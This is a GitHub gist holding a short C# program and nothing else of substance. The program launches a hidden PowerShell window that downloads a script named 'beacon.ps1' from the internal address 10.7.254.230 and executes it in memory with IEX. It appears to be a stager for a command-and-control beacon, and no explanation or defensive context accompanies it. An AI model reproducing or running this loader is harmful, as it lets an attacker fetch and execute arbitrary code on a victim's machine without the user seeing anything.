-
-
Save AmineCherrai/d3cf770674cf46d904a476a9e0b2ab1c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
namespace peewpw | |
{ | |
static class Program | |
{ | |
[STAThread] | |
static void Main() | |
{ | |
Process process = new Process(); | |
process.StartInfo.FileName = "powershell.exe"; | |
process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\""; | |
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; | |
process.Start(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment